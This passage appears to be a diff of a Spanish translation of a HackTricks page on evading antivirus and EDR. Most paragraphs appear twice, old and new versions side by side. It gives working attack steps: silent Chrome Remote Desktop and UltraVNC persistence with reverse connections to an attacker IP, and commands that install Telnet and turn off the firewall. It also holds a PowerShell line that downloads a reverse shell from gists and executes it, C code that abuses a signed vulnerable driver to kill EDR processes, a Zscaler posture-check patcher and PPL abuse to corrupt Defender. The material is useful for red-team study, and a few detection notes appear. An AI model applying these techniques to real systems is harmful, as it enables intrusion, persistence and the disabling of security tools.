El repo indica: Defender aún escanea los scripts pero al utilizar Go, Java, PHP, etc. tenemos **más flexibilidad para eludir firmas estáticas**. Las pruebas con scripts de reverse shell aleatorios sin ofuscar en estos lenguajes han resultado exitosas.
El repositorio indica: Defender todavía escanea los scripts pero, al utilizar Go, Java, PHP, etc., tenemos **más flexibilidad para evadir firmas estáticas**. Las pruebas con reverse shells aleatorios sin ofuscar en estos lenguajes han resultado exitosas.
## TokenStomping
Token stomping es una técnica que permite a un atacante **manipular el token de acceso o un producto de seguridad como un EDR o AV**, permitiéndole reducir sus privilegios para que el proceso no muera pero no tenga permisos para comprobar actividades maliciosas.
Token stomping es una técnica que permite a un atacante **manipular el access token o un producto de seguridad como un EDR o AV**, permitiéndole reducir sus privilegios de modo que el proceso no muera pero no tenga permisos para comprobar actividades maliciosas.
Para prevenir esto, Windows podría **evitar que procesos externos** obtengan handles sobre los tokens de procesos de seguridad.
Para prevenir esto, Windows podría **impedir que procesos externos** obtengan handles sobre los tokens de procesos de seguridad.
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
@ -441,27 +478,26 @@ Para prevenir esto, Windows podría **evitar que procesos externos** obtengan ha
### Chrome Remote Desktop
Como se describe en [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), es fácil desplegar Chrome Remote Desktop en el PC de una víctima y luego usarlo para tomar el control y mantener persistencia:
1. Download from https://remotedesktop.google.com/, click on "Set up via SSH", and then click on the MSI file for Windows to download the MSI file.
2. Run the installer silently in the victim (admin required): `msiexec /i chromeremotedesktophost.msi /qn`
3. Go back to the Chrome Remote Desktop page and click next. The wizard will then ask you to authorize; click the Authorize button to continue.
4. Execute the given parameter with some adjustments: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Note the pin param which allows to set the pin withuot using the GUI).
Como se describe en [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), es sencillo desplegar Chrome Remote Desktop en el PC de una víctima y usarlo para tomar control y mantener persistencia:
1. Download from https://remotedesktop.google.com/, haz clic en "Set up via SSH", y luego haz clic en el archivo MSI para Windows para descargar el MSI.
2. Ejecuta el instalador silenciosamente en la máquina víctima (se requieren privilegios de administrador): `msiexec /i chromeremotedesktophost.msi /qn`
3. Regresa a la página de Chrome Remote Desktop y haz clic en Siguiente. El asistente te pedirá que autorices; haz clic en el botón Authorize para continuar.
4. Ejecuta el parámetro dado con algunos ajustes: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Nota el parámetro pin que permite establecer el PIN sin usar la GUI).
## Advanced Evasion
La evasión es un tema muy complicado; a veces tienes que tener en cuenta muchas fuentes diferentes de telemetría en un solo sistema, por lo que es prácticamente imposible permanecer completamente indetectado en entornos maduros.
La evasión es un tema muy complejo; a veces tienes que tener en cuenta muchas fuentes diferentes de telemetría en un mismo sistema, por lo que es prácticamente imposible permanecer completamente indetectado en entornos maduros.
Cada entorno contra el que te enfrentes tendrá sus propias fortalezas y debilidades.
Cada entorno contra el que trabajes tendrá sus propias fortalezas y debilidades.
Te animo encarecidamente a ver esta charla de [@ATTL4S](https://twitter.com/DaniLJ94), para obtener una introducción a técnicas más avanzadas de evasión.
Te recomiendo ver esta charla de [@ATTL4S](https://twitter.com/DaniLJ94), para obtener una introducción a técnicas de Advanced Evasion.
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
Esta es también otra gran charla de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasion in Depth.
This es también otra gran charla de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasion in Depth.
{{#ref}}
@ -472,49 +508,49 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
### **Check which parts Defender finds as malicious**
Puedes usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **eliminará partes del binario** hasta que **determine qué parte Defender** encuentra como maliciosa y te la muestre.\
Otra herramienta que hace **lo mismo** es [**avred**](https://github.com/dobin/avred) con un servicio web abierto en [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Puedes usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **eliminará partes del binario** hasta que **descubra qué parte Defender** considera maliciosa y te la dividirá.\
Otra herramienta que hace **lo mismo es** [**avred**](https://github.com/dobin/avred) con una oferta web abierta del servicio en [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet Server**
Hasta Windows10, todas las versiones de Windows incluían un **servidor Telnet** que podías instalar (como administrador) haciendo:
Hasta Windows 10, todas las versiones de Windows incluían un **Telnet server** que podías instalar (como administrador) haciendo:
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
Haz que se **inicie** al arrancar el sistema y **ejecútalo** ahora:
Haz que se **inicie** cuando el sistema se inicie y **ejecútalo** ahora:
```bash
sc config TlntSVR start= auto obj= localsystem
```
**Cambiar el puerto de telnet** (stealth) y desactivar el firewall:
**Cambiar puerto de telnet** (stealth) y desactivar firewall:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
Descárgalo desde: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (quieres las descargas bin, no el setup)
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup)
**EN EL HOST**: Ejecuta _**winvnc.exe**_ y configura el servidor:
**ON THE HOST**: Ejecuta _**winvnc.exe**_ y configura el servidor:
- Enable the option _Disable TrayIcon_
- Set a password in _VNC Password_
- Set a password in _View-Only Password_
- Habilita la opción _Disable TrayIcon_
- Configura una contraseña en _VNC Password_
- Configura una contraseña en _View-Only Password_
Luego, mueve el binario _**winvnc.exe**_ y el archivo **recién** creado _**UltraVNC.ini**_ dentro de la **victim**
#### **Reverse connection**
El **attacker** debe **ejecutar en** su **host** el binario `vncviewer.exe -listen 5900` para que esté **preparado** para capturar una **reverse VNC connection**. Luego, dentro de la **victim**: inicia el daemon winvnc `winvnc.exe -run` y ejecuta `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
El **attacker** debe **ejecutar en** su **host** el binario `vncviewer.exe -listen 5900` para que esté **preparado** para captar una reverse **VNC connection**. Luego, dentro de la **victim**: inicia el daemon winvnc `winvnc.exe -run` y ejecuta `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**ADVERTENCIA:** Para mantener el sigilo no debes hacer lo siguiente
**WARNING:** Para mantener el sigilo no debes hacer algunas cosas
- No inicies `winvnc` si ya está en ejecución o provocarás un [popup](https://i.imgur.com/1SROTTl.png). Comprueba si está corriendo con `tasklist | findstr winvnc`
- No inicies `winvnc` sin `UltraVNC.ini` en el mismo directorio o se abrirá [la ventana de configuración](https://i.imgur.com/rfMQWcf.png)
- No ejecutes `winvnc -h` para ayuda o provocarás un [popup](https://i.imgur.com/oc18wcu.png)
- Don't start `winvnc` if it's already running or you'll trigger a [popup](https://i.imgur.com/1SROTTl.png). check if it's running with `tasklist | findstr winvnc`
- Don't start `winvnc` without `UltraVNC.ini` in the same directory or it will cause [the config window](https://i.imgur.com/rfMQWcf.png) to open
- Don't run `winvnc -h` for help or you'll trigger a [popup](https://i.imgur.com/oc18wcu.png)
### GreatSCT
Descárgalo desde: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
@ -542,7 +578,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### Primer reverse shell en C#
#### Primera C# reverse shell
Compílalo con:
```
@ -633,7 +669,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe RE
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
Descarga y ejecución automática:
Descarga y ejecución automáticas:
```csharp
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
@ -660,11 +696,11 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
### Uso de python para ejemplo de build injectors:
### Ejemplo de uso de python para build injectors:
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
### Otras herramientas
### Otros tools
```bash
# Veil Framework:
https://github.com/Veil-Framework/Veil
@ -695,24 +731,24 @@ https://github.com/praetorian-code/vulcan
## Bring Your Own Vulnerable Driver (BYOVD) – Eliminando AV/EDR desde el espacio del kernel
Storm-2603 aprovechó una pequeña utilidad de consola conocida como **Antivirus Terminator** para deshabilitar las protecciones del endpoint antes de desplegar ransomware. La herramienta trae su **propio driver vulnerable pero *firmado*** y lo abusa para emitir operaciones privilegiadas en el kernel que incluso los servicios AV Protected-Process-Light (PPL) no pueden bloquear.
Storm-2603 aprovechó una pequeña utilidad de consola conocida como **Antivirus Terminator** para desactivar las protecciones endpoint antes de desplegar ransomware. La herramienta trae su **propio driver vulnerable pero *firmado*** y lo abusa para emitir operaciones privilegiadas en el kernel que ni siquiera los servicios AV con Protected-Process-Light (PPL) pueden bloquear.
Puntos clave
1. **Driver firmado**: El archivo entregado al disco es `ServiceMouse.sys`, pero el binario es el driver legítimamente firmado `AToolsKrnl64.sys` del “System In-Depth Analysis Toolkit” de Antiy Labs. Debido a que el driver tiene una firma válida de Microsoft, se carga incluso cuando Driver-Signature-Enforcement (DSE) está habilitado.
1. **Signed driver**: El archivo entregado en disco es `ServiceMouse.sys`, pero el binario es el driver legítimamente firmado `AToolsKrnl64.sys` del “System In-Depth Analysis Toolkit” de Antiy Labs. Debido a que el driver tiene una firma válida de Microsoft, se carga incluso cuando Driver-Signature-Enforcement (DSE) está habilitado.
2. **Service installation**:
```powershell
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start ServiceMouse
```
La primera línea registra el driver como un **servicio kernel** y la segunda lo inicia para que `\\.\ServiceMouse` sea accesible desde el espacio de usuario.
3. **IOCTLs exposed by the driver**
La primera línea registra el driver como un **kernel service** y la segunda lo inicia para que `\\.\ServiceMouse` sea accesible desde el espacio de usuario.
3. **IOCTLs expuestos por el driver**
| IOCTL code | Capability |
|-----------:|-----------------------------------------|
| `0x99000050` | Terminar un proceso arbitrario por PID (usado para matar servicios Defender/EDR) |
| `0x990000D0` | Eliminar un archivo arbitrario en disco |
| `0x990001D0` | Descargar el driver y eliminar el servicio |
Minimal C proof-of-concept:
Prueba de concepto mínima en C:
```c
#include <windows.h>
@ -724,30 +760,30 @@ CloseHandle(hDrv);
return 0;
}
```
4. **Por qué funciona**: BYOVD omite por completo las protecciones en modo usuario; el código que se ejecuta en el kernel puede abrir procesos *protegidos*, terminarlos o manipular objetos del kernel independientemente de PPL/PP, ELAM u otras medidas de hardening.
4. **Why it works**: BYOVD omite por completo las protecciones en modo usuario; el código que se ejecuta en el kernel puede abrir procesos *protegidos*, terminarlos o manipular objetos del kernel independientemente de PPL/PP, ELAM u otras características de hardening.
Detección / Mitigación
• Habilitar la lista de bloqueo de drivers vulnerables de Microsoft (`HVCI`, `Smart App Control`) para que Windows se niegue a cargar `AToolsKrnl64.sys`.
• Monitorear la creación de nuevos servicios *kernel* y alertar cuando un driver se cargue desde un directorio con permisos de escritura para todos (world-writable) o no esté presente en la lista de permitidos.
• Vigilar los handles en modo usuario a objetos de dispositivo personalizados seguidos de llamadas sospechosas a `DeviceIoControl`.
• Monitorizar la creación de nuevos *kernel* services y alertar cuando un driver se cargue desde un directorio escribible por todos o no esté presente en la lista de permitidos.
• Vigilar manejadores en modo usuario a objetos de dispositivo personalizados seguidos de llamadas sospechosas a `DeviceIoControl`.
### Evadiendo las comprobaciones de postura de Zscaler Client Connector mediante parcheo de binarios en disco
### Evasión de los controles de postura de Zscaler Client Connector mediante parcheo de binarios en disco
Zscaler’s **Client Connector** aplica reglas de postura del dispositivo localmente y confía en Windows RPC para comunicar los resultados a otros componentes. Dos decisiones de diseño débiles hacen posible una evasión completa:
Zscaler’s **Client Connector** aplica reglas de postura del dispositivo localmente y confía en Windows RPC para comunicar los resultados a otros componentes. Dos decisiones de diseño débiles hacen posible un bypass completo:
1. La evaluación de postura ocurre **completamente del lado del cliente** (se envía un booleano al servidor).
1. La evaluación de postura ocurre **entera del lado cliente** (se envía un booleano al servidor).
2. Los endpoints RPC internos solo validan que el ejecutable que se conecta esté **firmado por Zscaler** (vía `WinVerifyTrust`).
Al **parchear cuatro binarios firmados en disco** ambos mecanismos pueden ser neutralizados:
Al **parchear cuatro binarios firmados en disco** se pueden neutralizar ambos mecanismos:
| Binario | Lógica original parcheada | Resultado |
|--------|---------------------------|---------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Siempre devuelve `1`, por lo que cada comprobación pasa como conforme |
| `ZSAService.exe` | Llamada indirecta a `WinVerifyTrust` | NOP-ed ⇒ cualquier proceso (incluso sin firmar) puede enlazarse a las pipes RPC |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Reemplazada por `mov eax,1 ; ret` |
| `ZSATunnel.exe` | Comprobaciones de integridad en el túnel | Cortocircuitadas |
| Binary | Original logic patched | Result |
|--------|------------------------|---------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Siempre devuelve `1`, por lo que cada comprobación es conforme |
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ cualquier proceso (incluso sin firmar) puede enlazarse a las pipes RPC |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Replaced by `mov eax,1 ; ret` |
| `ZSATunnel.exe` | Integrity checks on the tunnel | Cortocircuitado |
Minimal patcher excerpt:
Extracto mínimo del parcheador:
```python
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
@ -761,22 +797,22 @@ else:
f.seek(off)
f.write(replacement)
```
Después de reemplazar los archivos originales y reiniciar el service stack:
Después de reemplazar los archivos originales y reiniciar la pila de servicios:
* **Todas** las comprobaciones de postura muestran **verde/conforme**.
* Binaries sin firmar o modificados pueden abrir los named-pipe RPC endpoints (p. ej. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* **Todos** los chequeos de postura muestran **verde/conformes**.
* Los binarios sin firmar o modificados pueden abrir los named-pipe RPC endpoints (p. ej. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* El host comprometido obtiene acceso sin restricciones a la red interna definida por las políticas de Zscaler.
Este estudio de caso demuestra cómo decisiones de confianza puramente del lado del cliente y comprobaciones de firma simples pueden ser derrotadas con unos pocos parches de bytes.
Este estudio de caso demuestra cómo las decisiones de confianza puramente del lado del cliente y las simples comprobaciones de firma pueden ser derrotadas con unos pocos parches de bytes.
## Abusar de Protected Process Light (PPL) para manipular AV/EDR con LOLBINs
## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
Protected Process Light (PPL) aplica una jerarquía de firmante/nivel de modo que solo procesos protegidos de igual o mayor nivel puedan manipularse entre sí. Desde un punto de vista ofensivo, si puedes lanzar legítimamente un binary habilitado para PPL y controlar sus argumentos, puedes convertir funcionalidad benigna (p. ej., logging) en una primitiva de escritura restringida respaldada por PPL contra directorios protegidos usados por AV/EDR.
Protected Process Light (PPL) enforces a signer/level hierarchy so that only equal-or-higher protected processes can tamper with each other. Offensively, if you can legitimately launch a PPL-enabled binary and control its arguments, you can convert benign functionality (e.g., logging) into a constrained, PPL-backed write primitive against protected directories used by AV/EDR.
What makes a process run as PPL
- El EXE objetivo (y cualquier DLL cargada) debe estar firmado con un EKU compatible con PPL.
- El proceso debe crearse con CreateProcess usando las flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- Se debe solicitar un nivel de protección compatible que coincida con el firmante del binary (p. ej., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` para firmantes anti-malware, `PROTECTION_LEVEL_WINDOWS` para firmantes de Windows). Niveles incorrectos harán que la creación falle.
- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
- The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation.
See also a broader intro to PP/PPL and LSASS protection here:
@ -785,9 +821,9 @@ stealing-credentials/credentials-protections.md
{{#endref}}
Launcher tooling
- Herramienta de código abierto: CreateProcessAsPPL (selecciona el nivel de protección y reenvía los argumentos al EXE objetivo):
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
- Patrón de uso:
- Usage pattern:
```text
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
# example: spawn a Windows-signed component at PPL level 1 (Windows)
@ -795,42 +831,42 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
# example: spawn an anti-malware signed component at level 3
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
```
Primitiva LOLBIN: ClipUp.exe
- El binario del sistema firmado `C:\Windows\System32\ClipUp.exe` se auto-inicia y acepta un parámetro para escribir un archivo de registro en una ruta especificada por el llamador.
- Cuando se lanza como un proceso PPL, la escritura de archivo ocurre con respaldo PPL.
LOLBIN primitive: ClipUp.exe
- El binario de sistema firmado `C:\Windows\System32\ClipUp.exe` se auto-lanza y acepta un parámetro para escribir un archivo de registro en una ruta especificada por el invocador.
- Cuando se inicia como un proceso PPL, la escritura de archivos ocurre con respaldo PPL.
- ClipUp no puede analizar rutas que contienen espacios; use rutas cortas 8.3 para apuntar a ubicaciones normalmente protegidas.
Herramientas para rutas cortas 8.3
8.3 short path helpers
- Listar nombres cortos: `dir /x` en cada directorio padre.
- Derivar ruta corta en cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
Cadena de abuso (abstracta)
1) Lanzar el LOLBIN compatible con PPL (ClipUp) con `CREATE_PROTECTED_PROCESS` usando un lanzador (p. ej., CreateProcessAsPPL).
2) Pasar el argumento de ruta de log de ClipUp para forzar la creación de un archivo en un directorio AV protegido (p. ej., Defender Platform). Use nombres cortos 8.3 si es necesario.
3) Si el binario objetivo normalmente está abierto/bloqueado por el AV mientras se ejecuta (p. ej., MsMpEng.exe), programe la escritura en el arranque antes de que el AV inicie instalando un servicio de auto-inicio que se ejecute antes de forma fiable. Valide el orden de arranque con Process Monitor (registro de arranque).
Abuse chain (abstract)
1) Inicie el LOLBIN compatible con PPL (ClipUp) con `CREATE_PROTECTED_PROCESS` usando un lanzador (por ejemplo, CreateProcessAsPPL).
2) Indique el argumento de ruta de registro de ClipUp para forzar la creación de un archivo en un directorio de AV protegido (p. ej., Defender Platform). Use rutas cortas 8.3 si es necesario.
3) Si el binario objetivo está normalmente abierto/bloqueado por el AV mientras se ejecuta (p. ej., MsMpEng.exe), programe la escritura en el arranque antes de que el AV inicie instalando un servicio de autoarranque que se ejecute de forma fiable antes. Valide el orden de arranque con Process Monitor (boot logging).
4) Al reiniciar, la escritura respaldada por PPL ocurre antes de que el AV bloquee sus binarios, corrompiendo el archivo objetivo e impidiendo el inicio.
Invocación de ejemplo (rutas redactadas/acortadas por seguridad):
Example invocation (paths redacted/shortened for safety):
```text
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
```
Notes and constraints
- No puedes controlar el contenido que ClipUp escribe más allá de la ubicación; la primitiva está diseñada para la corrupción más que para la inyección precisa de contenido.
Notas y restricciones
- No puedes controlar el contenido que ClipUp escribe más allá de la ubicación; la primitiva está orientada a la corrupción más que a la inyección precisa de contenido.
- Requiere administrador local/SYSTEM para instalar/iniciar un servicio y una ventana de reinicio.
- La sincronización es crítica: el objetivo no debe estar abierto; la ejecución en tiempo de arranque evita bloqueos de archivos.
- El timing es crítico: el objetivo no debe estar abierto; la ejecución en el arranque evita bloqueos de archivos.
Detections
- Creación del proceso `ClipUp.exe` con argumentos inusuales, especialmente si su proceso padre es un lanzador no estándar, durante el arranque.
- Nuevos servicios configurados para auto-iniciar binarios sospechosos y que consistentemente arrancan antes que Defender/AV. Investigar la creación/modificación de servicios previa a fallos en el arranque de Defender.
- Monitorización de integridad de archivos en los binarios de Defender/directorios Platform; creaciones/modificaciones inesperadas de archivos por procesos con flags de `protected-process`.
- Telemetría ETW/EDR: buscar procesos creados con `CREATE_PROTECTED_PROCESS` y uso anómalo de niveles PPL por binarios que no sean AV.
Detecciones
- Creación de procesos de `ClipUp.exe` con argumentos inusuales, especialmente parentados por launchers no estándar, durante el arranque.
- Nuevos servicios configurados para auto-arranque de binarios sospechosos y que consistentemente inician antes de Defender/AV. Investigar la creación/modificación de servicios previo a fallos en el inicio de Defender.
- Monitoreo de integridad de archivos en binarios de Defender/directorios Platform; creaciones/modificaciones inesperadas de archivos por procesos con flags de protected-process.
- Telemetría ETW/EDR: buscar procesos creados con `CREATE_PROTECTED_PROCESS` y uso anómalo de niveles PPL por binarios que no son AV.
Mitigations
- WDAC/Code Integrity: restringir qué binarios firmados pueden ejecutarse como PPL y bajo qué procesos padres; bloquear invocaciones de ClipUp fuera de contextos legítimos.
- Higiene de servicios: restringir la creación/modificación de servicios de auto-arranque y monitorizar manipulaciones del orden de inicio.
- Asegurar que Defender tamper protection y early-launch protections estén habilitadas; investigar errores de inicio que indiquen corrupción de binarios.
- Considerar deshabilitar la generación de nombres cortos 8.3 en volúmenes que alojen herramientas de seguridad si es compatible con su entorno (probar a fondo).
Mitigaciones
- WDAC/Code Integrity: restringir qué binarios firmados pueden ejecutarse como PPL y bajo qué padres; bloquear la invocación de ClipUp fuera de contextos legítimos.
- Higiene de servicios: restringir la creación/modificación de servicios de auto-arranque y monitorear la manipulación del orden de inicio.
- Asegurar que la protección contra manipulación de Defender y las protecciones de early-launch estén habilitadas; investigar errores de inicio que indiquen corrupción de binarios.
- Considerar deshabilitar la generación de nombres cortos 8.3 en volúmenes que albergan herramientas de seguridad si es compatible con tu entorno (probar exhaustivamente).
References for PPL and tooling
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
@ -853,4 +889,6 @@ References for PPL and tooling
- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
- [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../banners/hacktricks-training.md}}